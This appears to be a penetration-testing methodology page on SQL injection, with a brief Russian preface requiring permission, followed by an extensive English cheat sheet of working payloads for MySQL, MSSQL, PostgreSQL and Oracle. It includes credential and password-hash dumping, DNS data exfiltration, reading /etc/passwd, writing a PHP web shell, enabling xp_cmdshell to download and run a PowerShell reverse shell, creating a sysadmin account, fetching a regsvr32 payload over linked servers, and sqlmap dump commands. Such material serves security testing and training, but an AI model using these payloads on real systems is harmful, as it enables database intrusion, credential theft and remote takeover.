SQL‑инъекции
:::tip Формат страницы
Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.
:::
Порядок действий
- Определите контекст (аутентификация, роль, границы доверия).
- Воспроизведите вектор атаки в контролируемой среде или с явным разрешением на целевой системе.
- Зафиксируйте PoC и влияние (конфиденциальность, целостность, доступность).
- Примеры запросов и команд ниже — на английском.
Методика
Введение
' or '1'='1 -- -
Cheat sheet
String concatenation
| DBMS | TECHNIQUE |
|---|---|
| Oracle | 'foo' |
| Microsoft | 'foo'+'bar' |
| PostgreSQL | 'foo' |
| MySQL | 'foo' 'bar' or CONCAT('foo','bar') |
Substring
| DBMS | TECHNIQUE |
|---|---|
| Oracle | SUBSTR('BLABLA', X, Y) |
| Microsoft | SUBSTRING('BLABLA', X, Y) |
| PostgreSQL | SUBSTRING('BLABLA', X, Y) |
| MySQL | SUBSTRING('BLABLA', X, Y) |
Comments
| DBMS | TECHNIQUE |
|---|---|
| Oracle | --<COMMENT> |
| Microsoft | --<COMMENT> or /*<COMMENT>*/ |
| PostgreSQL | --<COMMENT> or /*<COMMENT>*/ |
| MySQL | #<COMMENT> or -- <COMMENT> or /*<COMMENT>*/ |
Obtain database version
| DBMS | TECHNIQUE |
|---|---|
| Oracle | SELECT banner FROM v$versionSELECT version FROM v$instance |
| Microsoft | SELECT @@version |
| PostgreSQL | SELECT version() |
| MySQL | SELECT @@version |
Database content
Oracle
# DATABASES
SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
# TABLES
SELECT TABLE_NAME[,owner] FROM all_tables
# COLUMNS
SELECT COLUMN_NAME FROM all_tab_columns WHERE table_name = '<TABLE_NAME>' [and owner = '<OWNER>'];
# DATA
SELECT * FROM <TABLE>
Microsoft
# OBTAIN DBMS users
SELECT name, password FROM master.sys.sysusers;
SELECT name, password_hash FROM master.sys.sql_logins-- # Sometimes casting is needed master.dbo.fn_varbintohexstr(password_hash)
# DATABASES
SELECT name FROM master..sysdatabases
# TABLES
SELECT TABLE_NAME FROM <DATABASE>.INFORMATION_SCHEMA.TABLES
# COLUMNS
SELECT COLUMN_NAME FROM <DATABASE>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE_NAME>'
# DATA
SELECT * FROM <DATABASE>.dbo.<TABLE_NAME>
PostgresSQL
# DATABASE
SELECT datname FROM pg_database
# TABLES
SELECT table_name FROM information_schema.tables
# COLUMNS
SELECT column_name FROM information_schema.columns WHERE table_name = '<TABLE_NAME>'
MySQL
# DATABASES
SELECT schema_name FROM information_schema.schemata;
# TABLES
SELECT table_name FROM information_schema.tables WHERE table_schema = '<DATABASE>'
# COLUMNS
SELECT column_name FROM information_schema.columns WHERE table_name = '<TABLE_NAME>'
Conditional errors
| DBMS | TECHNIQUE |
|---|---|
| Oracle | SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
| Microsoft | SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN 1/0 ELSE NULL END |
| PostgreSQL | 1 = (SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN CAST(1/0 AS INTEGER) ELSE NULL END) |
| MySQL | SELECT IF(<YOUR-CONDITION-HERE>,(SELECT table_name FROM information_schema.tables),'a') |
Stacked queries
| DBMS | TECHNIQUE |
|---|---|
| Oracle | Does not support batched queries. |
| Microsoft | <QUERY_1>; <QUERY_2> |
| PostgreSQL | <QUERY_1>; <QUERY_2> |
| MySQL | <QUERY_1>; <QUERY_2> |
Time delays
| DBMS | TECHNIQUE |
|---|---|
| Oracle | dbms_pipe.receive_message(('a'),10) |
| Microsoft | WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT pg_sleep(10) |
| MySQL | SELECT SLEEP(10) |
Conditional time delays
| DBMS | TECHNIQUE |
|---|---|
| Oracle | SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
| Microsoft | IF (<YOUR-CONDITION-HERE>) WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN pg_sleep(10) ELSE pg_sleep(0) END |
| MySQL | SELECT IF(<YOUR-CONDITION-HERE>,SLEEP(10),'a') |
DNS lookup
| DBMS | TECHNIQUE |
|---|---|
| Oracle | The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') |
| Microsoft | exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' |
| PostgreSQL | copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' |
| MySQL | The following techniques work on Windows only: LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP_COLLABORATOR>\a' |
Data exfiltration
Microsoft
declare @p varchar(1024);set @p=(SELECT <QUERY>);exec('master..xp_dirtree "//'+@p+'.<BURP-COLLABORATOR>/a"')
PostgreSQL
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (<QUERY>);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.<BURP-COLLABORATOR>''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
Mysql
SELECT <QUERY> INTO OUTFILE '\\\\<BURP-COLLABORATOR>\a'
MySQL
Union
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,5,6,7
http://example.c/debug.php?id=1 order by 3
# Database V1
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(SCHEMA_NAME,":") from information_schema.schemata),6
# Database V2
' UNION SELECT NULL, user(), database() --
# Privileges
' union select grantee,privilege_type,is_grantable,4,5,6 from information_schema.user_privileges--
# V1
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(TABLE_NAME,":") from information_schema.TABLES where TABLE_SCHEMA = 'mysql'),6,7
# V2
' UNION SELECT NULL, NULL , TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='db' --
# V1
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(TABLE_NAME,":",COLUMN_NAME,"\r\n") from information_schema.COLUMNS where TABLE_SCHEMA = 'mysql'),6,7
# V2
http://192.168.157.10/debug.php?id=1 union select 1,3,column_name FROM INFORMATION_SCHEMA.columns where table_name = 'users'
# V3
' UNION SELECT NULL, NULL ,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='wp_users'--
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(host,":",user,":",password,"\r\n") from mysql.user),6,7
' UNION SELECT NULL, NULL ,password FROM wp_users --
Blind
Iron Man' and '1'='1' # True: Return the movie
Iron Man' and '1'='2' # False: Does not return anything
Iron Man' and length(database())=1
Iron Man' and hex(substring(database(),X,1))=hex('H')
Iron Man' and (SELECT count(*) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'bwapp')<5;
Iron Man' and hex(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'bwapp' LIMIT X,1),Y,1))<hex('z');#
Iron Man' and (SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'bWAPP' and TABLE_NAME = 'movies')=7;
Iron Man' and SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE WHERE TABLE_SCHEMA = 'bWAPP' and TABLE_NAME = 'movies' LIMIT X,1),Y,1)='I';
# Length
Iron Man' and (SELECT CHAR_LENGTH(login) FROM users LIMIT X,1)='3';
# Value
Iron Man' and hex(substring((SELECT password FROM users LIMIT X,1),Y,1))=hex('6');
Read Files
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(TO_BASE64(LOAD_FILE('/etc/passwd'))),6,7
SQLMap
sqlmap http://example.com/room.php?cod=1 --file-read=/xampp/htdocs/index.php
Write Files
' union select grantee,privilege_type,is_grantable,4,5,6 from information_schema.user_privileges--
2 UNION SELECT convert("1" USING binary),convert("1" USING binary),convert("1" USING binary), convert("<?php echo system(system($_GET['cmd']));?>" USING binary),convert("1" USING binary) into OUTFILE "C:\\xampp\\htdocs\\dashboard\\shell.php"
SQLMap
sqlmap http://example.com/room.php?cod=1 --file-write=/root/Desktop/shell.php --file-dest=/xampp/htdocs/shell.php
Oracle (Union)
' UNION SELECT null, null, null from dual--
' UNION SELECT table_name,null,null from all_tables--
' UNION SELECT column_name,null,null from all_tab_columns where table_name='WEB_ADMINS'--
Mssql
Sometimes casting is needed
' UNION SELECT name,NULL FROM master ..sysdatabases--
' UNION SELECT TABLE_NAME FROM <DATABASE>.INFORMATION_SCHEMA.TABLES--
' UNION SELECT COLUMN_NAME FROM <DATABASE>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE_NAME>'--
' UNION SELECT password FROM <DATABASE>.dbo.<TABLE_NAME>--
Error based
', CONVERT(INT,@@version))--
',CONVERT(INT,db_name(X)))--
',CONVERT(INT,(SELECT top 1 TABLE_NAME FROM archive.information_schema.TABLES)))--
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager')))--
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager' AND column_name NOT IN ('id'))))--
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager' and column_name NOT IN ('id','alogin') )))--
',CONVERT(INT,(SELECT top 1 alogin FROM archive.dbo.pmanager where alogin not in ('ftpadmin','webadmin','administrator','user') order by id)))--
System Information
SELECT @@version;
SELECT DB_NAME();
SELECT @@SERVERNAME;
SELECT dec.local_net_address FROM sys.dm_exec_connections AS dec WHERE dec.session_id = @@SPID;
User Unformation
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT current_user;
SELECT IS_SRVROLEMEMBER('public');
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
SELECT name, password_hash FROM master.sys.sql_logins
EXECUTE AS LOGIN = 'sa';
EXECUTE AS [USER|LOGIN] = 'user2';
# Create an account
sp_addlogin 'pentest','abc123!'
# Add account to sysadmin
sp_addsrvrolemember 'pentest','sysadmin'
File System Information
EXEC master..xp_dirtree "\\10.10.10.4\test\a";
EXEC xp_dirtree '<FOLDER_PATH>', 2, 1
Alternative 2
Command execution
xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
'EXEC master.dbo.xp_cmdshell 'powershell "IEX(New-Object Net.WebClient).downloadString(\"<http://</Utilities/Revshells/shell.ps1\")">';
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, '<COMMAND>'
Linked Services
# Alternative 1
EXEC sp_linkedservers;
# Alternative 2
SELECT * FROM sys.servers;
SELECT name, product, data_source, is_linked, is_remote_login_enabled, is_rpc_out_enabled, is_data_access_enabled, is_collation_compatible, uses_remote_collation, is_system, is_remote_proc_transaction_promotion_enabled, is_rda_server FROM sys.servers;
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE; ') AT [DC01.corp2.com];
EXEC ('xp_cmdshell ''<COMMAND>'';') AT DC01;
select 1 from openquery(\"dc01\", 'select 1; EXEC sp_configure ''show advanced options'', 1; reconfigure')
select 1 from openquery(\"dc01\", 'select 1; EXEC sp_configure ''xp_cmdshell'', 1; reconfigure')
select 1 from openquery(\"dc01\", 'select 1; exec xp_cmdshell ''regsvr32 /s /n /u /i:http://192.168.49.67:8080/F0t6R5A.sct scrobj.dll''')
select mylogin from openquery(\"<FIRST_DB>\", 'select mylogin from openquery(\"<SECOND_DB>\", ''select SYSTEM_USER as mylogin'')');
EXECUTE as LOGIN = 'sa';EXEC sp_serveroption '<LINKED_SERVICE>', 'rpc out', 'true';
SQLMAP
POST /index.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://10.10.203.65
Connection: close
Referer: http://10.10.203.65/
Cookie: PHPSESSID=6f0kqfotc3gcb80ri2c9av37t1
Upgrade-Insecure-Requests: 1
username=admin&password=password&x=25&y=16
sqlmap -r request.txt --threads 10 -p username --batch --risk 3 --level 5 --dbs
sqlmap -r request.txt --threads 10 -p username --batch --risk 3 --level 5 -D db --tables
sqlmap -r request.txt --threads 10 -p username --batch --risk 3 --level 5 -D db -T users --dump